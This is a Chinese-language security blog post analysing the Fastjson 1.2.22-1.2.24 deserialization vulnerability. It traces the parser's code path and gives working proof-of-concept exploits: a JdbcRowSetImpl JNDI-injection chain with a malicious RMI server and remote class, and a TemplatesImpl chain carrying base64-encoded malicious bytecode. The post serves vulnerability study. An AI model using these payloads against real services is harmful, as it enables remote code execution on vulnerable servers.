Fastjson 1.2.22-1.2.24反序列化漏洞分析

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Java代码审计 no tag September 26, 2021

什么是fastjson

Fastjson是Alibaba开发的Java语言编写的高性能JSON库，用于将数据在JSON和Java Object之间互相转换，提供两个主要接口JSON.toJSONString和JSON.parseObject/JSON.parse来分别实现序列化和反序列化操作。最早的通告在这里。而fastjson的用法可以先看看下面这个例子。

序列化

用IDEA创建一个空的Maven项目

    <dependencies>
        <!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.24</version>
        </dependency>
    </dependencies>

新建一个Demo

Student.java

public class Student {
    private String name;
    private int age;

    public Student() {
        System.out.println("构造函数");
    }

    public String getName() {
        System.out.println("getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("setAge");
        this.age = age;
    }
}

Ser.java

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Ser {
    public static void main(String[] args){
        Student student = new Student();
        student.setName("Yang_99");
        student.setAge(80);
        String jsonstring = JSON.toJSONString(student, SerializerFeature.WriteClassName);
        System.out.println(jsonstring);
    }
}

这里SerializerFeature.WriteClassName是toJSONString的一个属性值，设置之后在序列化的时候会多写入一个@type，即写上被序列化的类名，type可以指定反序列化的类，并且调用其getter/setter/is方法。

反序列化

序列化之后就是反序列化。

上面说了有parseObject和parse两种方法进行反序列化，现在来看看他们之间的区别

public static JSONObject parseObject(String text) {
        Object obj = parse(text);
        return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
    }

parseObject其实也是使用的parse方法，只是多了一步toJSON方法处理对象。

import com.alibaba.fastjson.JSON;

public class Unser {
    public static void main(String[] args){
        String jsonstring="{\"@type\":\"Student\",\"age\":21,\"name\":\"Yang_99\"}";
//        System.out.println(JSON.parse(jsonstring));
//        System.out.println(JSON.parseObject(jsonstring));
        System.out.println(JSON.parseObject(jsonstring,Student.class));

    }
}

image-20210502135115488

第一种和第二种是不能成功反序列化的，因为他们没有指定到底是哪个对象。所以不能正确转换。

正确的做法是：

image-20210502140119836

这样便能成功反序列化，可以看到parse成功触发了set方法，parseObject同时触发了set和get方法，因为这种autoType所以导致了fastjson反序列化漏洞

Fastjson反序列化漏洞

我们知道了Fastjson的autoType，所以也就能想到反序列化漏洞产生的原因是get或set方法中存在恶意操作，以下面demo为例

Student.java

import java.io.IOException;

public class Student {
    private String name;
    private int age;
    private String sex;

    public Student() {
        System.out.println("构造函数");
    }

    public String getName() {
        System.out.println("getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("setAge");
        this.age = age;
    }
    public void setSex(String sex) throws IOException {
        System.out.println("setSex");
        Runtime.getRuntime().exec("cmd /c calc");
    }
}

Unser.java

import com.alibaba.fastjson.JSON;

public class Unser {
    public static void main(String[] args){
        String jsonstring ="{\"@type\":\"Student\":\"age\":80,\"name\":\"ghtwf01\",\"sex\":\"man\"}";
        System.out.println(JSON.parse(jsonstring));
        System.out.println(JSON.parseObject(jsonstring));
//        System.out.println(JSON.parseObject(jsonstring,Student.class));

    }
}

成功弹出计算器。

Fastjson反序列化流程分析

image-20210819110951977

下断点进入parseObject

image-20210819114125302

然后进入parse方法。继续根进

image-20210819114225156

然后会创建一个DefaultJSONParser对象。

image-20210819114345114

经过判断解析的字符串是{还是[并设置token值，进入了parse方法

image-20210819114631103

因为之前设置了12(开头是{)

image-20210819114721509

之后继续跟踪进入parseObject方法

image-20210820092220349

这里的key会获得@type

然后通过TypeUtils.loadClass加载Class。

进入之后，首先会在mappings里寻找类。前面的条件都不满足，所以在这里找到了Student类

image-20210820092749446

接着就创建了ObjectDeserializer类调用了deserializer方法

image-20210820092947038

跟进getDeserializer方法image-20210820093429846

这里虽然进行了黑名单校验，但是黑名单只有Thread。

image-20210820093640722

最终成功到达了反序列化点

image-20210820093852907

进入一些set，get方法，弹到计算器

Fastjson 1.2.22-1.2.24反序列化漏洞

这个版本的jastjson有两条利用链——JdbcRowSetImpl和Templateslmpl

JdbcRowSetImpl利用链

JdbcRowSetImpl利用链最终的结果是导致JNDI注入，可以使用RMI+JNDI和RMI+LDAP进行利用

漏洞复现

RMI+JNDI

POC如下，@type指向com.sun.rowset.JdbcRowSetImpl类，dataSourceName值为RMI服务中心绑定的Exploit服务，autoCommit有且必须为true或false等布尔值类型：

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}

服务端JNDIServer.java

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("Exloit",
                "badClassName","http://127.0.0.1:8000/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("Exploit",referenceWrapper);
    }
}

远程恶意类badClassName.class

public class badClassName {
    static{
        try{
            Runtime.getRuntime().exec("calc");
        }catch(Exception e){
            ;
        }
    }
}

客户端JNDIClient.java

import com.alibaba.fastjson.JSON;

public class JNDIClient {
    public static void main(String[] argv){
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\", \"autoCommit\":true}";
        JSON.parse(payload);
    }
}

运行弹出计算器

image-20210820161320392

漏洞分析

image-20210820161631891

如上文，跟到这个地方，准备反序列化这个类

image-20210820162009222

然后进入了setDataSourceName方法。

接着调用了setAutoCommit

image-20210820162659143

接着调用到setAutoCommit()函数，设置autoCommit值，其中调用了connect()函数

image-20210820163218030

这里的this.getDataSourceName()即为前面我们可控的值，所以就造成了JNDI注入漏洞。

调用栈如下

image-20210820163405650

LDAP和RMI区别不大

TemplatesImpl利用链

漏洞原理：Fastjson通过bytecodes字段传入恶意类，调用outputProperties属性的getter方法时，实例化传入的恶意类，调用其构造方法，造成任意命令执行。

但是由于需要在parse反序列化时设置第二个参数Feature.SupportNonPublicField，所以利用面很窄，但是这条利用链还是值得去学习

漏洞复现

TEMPOC.java

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class TEMPOC extends AbstractTranslet {

    public TEMPOC() throws IOException {
        Runtime.getRuntime().exec("open -a Calculator");
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }

    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {

    }

    public static void main(String[] args) throws Exception {
        TEMPOC t = new TEMPOC();
    }
}

把它生成的字节码拿去base64一下得到

yv66vgAAADQANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAhMVEVNUE9DOwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAJaGFGbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAtAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXQHAC4BAApTb3VyY2VGaWxlAQALVEVNUE9DLmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAGVEVNUE9DAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAAAsABAAMAA0ADQAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABEADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABYADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAGQAIABoADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=

POC如下

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class JNDIClient {
    public static void main(String[] argv){
        String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAhMVEVNUE9DOwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAJaGFGbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAtAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAAXQHAC4BAApTb3VyY2VGaWxlAQALVEVNUE9DLmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAGVEVNUE9DAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAAAsABAAMAA0ADQAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABEADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABYADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAGQAIABoADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],\"_name\":\"a.b\",\"_tfactory\":{ },\"_outputProperties\":{ },\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}";
        JSON.parse(payload, Feature.SupportNonPublicField);
    }
}

漏洞分析

还是跟刚才一样，前面的部分是一样的，我们看一下

image-20210820175415818

跟进parseField方法

image-20210823111607395

image-20210823111629512

解析出_bytecodes对应内容后，调用setValue()函数设置对应的值。这里value即为恶意二进制内容。继续跟进

image-20210823111936163

使用lset方法来设置_bytecodes的值。

接着解析到了_outputProperties的内容

image-20210823112358183

进入setValue

image-20210823112852951

这里调用了反射的invoke方法。使用反射，调用了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()方法。

image-20210823113224746

至于Templates的链子，请移步CC3链子的分析。这里只做简单跟踪

image-20210823113516896

最终执行字节码

image-20210823115757725

参考：http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/

https://xz.aliyun.com/t/8979

  • fat-jar调试踩坑
  • non_RCE复现
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Title
序列化
反序列化
JdbcRowSetImpl利用链
TemplatesImpl利用链
漏洞分析

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